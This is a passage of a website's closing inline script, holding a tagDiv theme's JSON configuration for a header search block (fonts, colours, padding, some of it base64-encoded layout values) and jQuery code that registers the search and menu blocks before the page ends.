15px","mc1_tl":"20","results_limit":"6","modules_gap":"eyJhbGwiOiIzMCIsInBvcnRyYWl0IjoiMjAiLCJsYW5kc2NhcGUiOiIyNSJ9","image_height":"60","modules_category":"","modules_category_padding":"0","f_results_msg_font_family":"420","f_results_msg_font_transform":"","f_results_msg_font_style":"normal","results_msg_color":"#e2b26f","results_msg_color_h":"#333333","f_title_font_family":"92","f_title_font_size":"eyJhbGwiOiIxOCIsImxhbmRzY2FwZSI6IjE2IiwicG9ydHJhaXQiOiIxNCJ9","f_title_font_weight":"","f_title_font_line_height":"1.2","all_underline_color":"","all_underline_height":"eyJwb3J0cmFpdCI6IjIifQ==","f_cat_font_weight":"400","f_cat_font_transform":"uppercase","cat_bg":"rgba(255,255,255,0)","cat_bg_hover":"rgba(255,255,255,0)","f_input_font_size":"13","f_input_font_transform":"","f_placeholder_font_size":"13","f_results_msg_font_size":"13","form_shadow_shadow_size":"16","form_shadow_shadow_color":"rgba(0,0,0,0.1)","form_border":"0","cat_txt":"#aaaaaa","cat_txt_hover":"#333333","icon_size":"eyJhbGwiOiIyMiIsInBvcnRyYWl0IjoiMTgifQ==","icon_color_h":"#e2b26f","modules_on_row":"33.33333333%","image_radius":"5","meta_padding":"eyJhbGwiOiIxNnB4IDRweCA0cHgiLCJwb3J0cmFpdCI6IjEycHggM3B4IDNweCJ9","art_title":"0 0 10px 0","art_excerpt":"0","btn_bg":"#e2b26f","f_btn_font_weight":"400","arrow_color":"#ffffff","form_shadow_shadow_offset_vertical":"4","input_color":"#333333","placeholder_color":"#aaaaaa","f_cat_font_family":"420","f_cat_font_size":"eyJhbGwiOiIxMSIsInBvcnRyYWl0IjoiMTAifQ==","image_alignment":"30","title_txt":"#333333","btn_tdicon":"td-icon-line3-thik","btn_icon_space":"8","btn_icon_size":"17","form_padding":"eyJhbGwiOiIyNSIsImxhbmRzY2FwZSI6IjIyIiwicG9ydHJhaXQiOiIyMCJ9","results_padding":"eyJhbGwiOiIxMHB4IDI1cHgiLCJsYW5kc2NhcGUiOiIxMHB4IDIycHgiLCJwb3J0cmFpdCI6IjVweCAyMHB4In0=","input_border_color":"rgba(211,219,226,0.7)","input_padding":"eyJhbGwiOiI2cHggMTBweCIsImxhbmRzY2FwZSI6IjRweCAxMHAifQ==","btn_padding":"eyJhbGwiOiI1cHggMThweCA2cHgiLCJsYW5kc2NhcGUiOiI0cHggMThweCJ9","btn_icon_align":"1","block_type":"tdb_header_search","post_type":"","disable_trigger":"","show_results":"yes","separator":"","disable_live_search":"","exclude_pages":"","exclude_posts":"","search_section_header":"","results_section_1_title":"","results_section_1_taxonomies":"","results_section_1_level":"","results_section_2_title":"","results_section_2_taxonomies":"","results_section_2_level":"","results_section_3_title":"","results_section_3_taxonomies":"","results_section_3_level":"","results_section_search_query_terms":"","results_section_search_query_terms_title":"","results_section_search_query_terms_taxonomies":"","sec_title_space":"","sec_title_color":"","tax_space":"","tax_title_color":"","tax_title_color_h":"","f_sec_title_font_header":"","f_sec_title_font_title":"Section title text","f_sec_title_font_settings":"","f_sec_title_font_family":"","f_sec_title_font_size":"","f_sec_title_font_line_height":"","f_sec_title_font_style":"","f_sec_title_font_weight":"","f_sec_title_font_transform":"","f_sec_title_font_spacing":"","f_sec_title_":"","f_tax_title_font_title":"Taxonomy title text","f_tax_title_font_settings":"","f_tax_title_font_family":"","f_tax_title_font_size":"","f_tax_title_font_line_height":"","f_tax_title_font_style":"","f_tax_title_font_weight":"","f_tax_title_font_transform":"","f_tax_title_font_spacing":"","f_tax_title_":"","toggle_txt":"","toggle_txt_pos":"","toggle_txt_al
4360ign":"0","toggle_txt_space":"","toggle_horiz_align":"content-horiz-left","float_block":"","form_offset_left":"","form_content_width":"","form_align_screen":"","input_placeholder":"","placeholder_travel":"0","input_radius":"","btn_text":"Search","btn_margin":"","btn_border":"","btn_radius":"","results_msg_border":"","mc1_title_tag":"","mc1_el":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_divider":"","modules_divider_color":"#eaeaea","h_effect":"","hide_image":"","video_icon":"","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","vid_t_color":"","vid_t_bg_color":"","f_vid_time_font_header":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_info_horiz":"content-horiz-left","meta_width":"","meta_margin":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","art_btn":"","modules_category_margin":"","modules_cat_border":"","modules_category_radius":"0","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_space":"","review_size":"2.5","review_distance":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","btn_title":"","btn_border_width":"","form_general_bg":"","toggle_txt_color":"","toggle_txt_color_h":"","f_toggle_txt_font_header":"","f_toggle_txt_font_title":"Text","f_toggle_txt_font_settings":"","f_toggle_txt_font_family":"","f_toggle_txt_font_size":"","f_toggle_txt_font_line_height":"","f_toggle_txt_font_style":"","f_toggle_txt_font_weight":"","f_toggle_txt_font_transform":"","f_toggle_txt_font_spacing":"","f_toggle_txt_":"","form_bg":"","form_border_color":"","form_shadow_shadow_header":"","form_shadow_shadow_title":"Shadow","form_shadow_shadow_offset_horizontal":"","form_shadow_shadow_spread":"","input_bg":"","input_shadow_shadow_header":"","input_shadow_shadow_title":"Input shadow","input_shadow_shadow_size":"","input_shadow_shadow_offset_horizontal":"","input_shadow_shadow_offset_vertical":"","input_shadow_shadow_spread":"","btn_color":"","btn_color_h":"","btn_icon_color":"","btn_icon_color_h":"","btn_border_color":"","btn_border_color_h":"","btn_shadow_shadow_header":"","btn_shadow_shadow_title":"Button shadow","btn_shadow_shadow_size":"","btn_shadow_shadow_offset_horizontal":"","btn_shadow_shadow_offset_vertical":"","btn_shadow_shadow_spread":"","btn_shadow_shadow_color":"","f_input_font_header":"","f_input_font_title":"Input text","f_input_font_settings":"","f_input_font_line_height":"","f_input_font_style":"","f_input_font_weight":"","f_input_font_spacing":"","f_input_":"","f_placeholder_font_title":"Placeholder text","f_placeholder_font_settings":"","f_placeholder_font_line_height":"","f_placeholder_font_style":"","f_placeholder_font_weight":"","f_placeholder_font_spacing":"","f_placeholder_":"","f_btn_font_title":"Button text","f_btn_font_settings":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_spacing":"","f_btn_":"","results_bg":"","results_border_color":"","results_msg_bg":"","results_msg_border_color":"","f_results_msg_font_header":"","f_results_msg_font_title":"Text","f_results_msg_font_settings":"","f_results_msg_font_line_height":"","f_results_msg_font_weight":"","f_results_msg_font_spacing":"","f_results_msg_":"","m_bg":"","color_overlay":"","shadow_module_shadow_header":"","shadow_module_shadow_title":"Module Shadow","shadow_module_shadow_size":"","shadow_module_shadow_offset_horizontal":"","shadow_module_shadow_offset_vertical":"","shadow_module_shadow_spread":"","shadow_module_shadow_color":"","cat_border":"","cat_border_hover":"","meta_bg":"","author_txt":"","author_txt_hover":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","rev_txt":"","shadow_meta_shadow_header":"","shadow_meta_shadow_title":"Meta info shadow","shadow_meta_shadow_size":"","shadow_meta_shadow_offset_horizontal":"","shadow_meta_shadow_offset_vertical":"","shadow_meta_shadow_spread":"","shadow_meta_shadow_color":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border_hover":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_family":"","f_meta_font_size":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_weight":"","f_meta_font_transform":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","el_class":"","block_template_id":"","td_column_number":1,"header_color":"","ajax_pagination_infinite_stop":"","offset":"","limit":"5","td_ajax_preloading":"","td_ajax_filter_type":"","td_filter_default_txt":"","td_ajax_filter_ids":"","color_preset":"","ajax_pagination":"","ajax_pagination_next_prev_swipe":"","border_top":"","css":"","class":"tdi_27","tdc_css_class":"tdi_27","tdc_css_class_
4360style":"tdi_27_rand_style"}';
4361                tdbSearchItem.jqueryObj = jQuery('.tdi_27');
4362                tdbSearchItem._openSearchFormClass = 'tdb-drop-down-search-open';
4363                tdbSearchItem._resultsLimit = '6';
4364
4365                
4366	            
4367                
4368                tdbSearch.addItem( tdbSearchItem );
4369
4370            });
4371        
4372        
4373
4374            
4375                /* global jQuery:{} */
4376                jQuery(window).on( 'load', function () {
4377
4378                    var tdbMenuItem = new tdbMenu.item();
4379                    tdbMenuItem.blockUid = 'tdi_30';
4380                    tdbMenuItem.jqueryObj = jQuery('.tdi_30');
4381
4382	                
4383                    tdbMenuItem.isMegaMenuFull = true;
4384
4385	                
4386	                
4387	                
4388                    tdbMenu.addItem(tdbMenuItem);
4389
4390                });
4391            
4392            
4393</script>
4393
4394
4395
4396</body>
4397</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.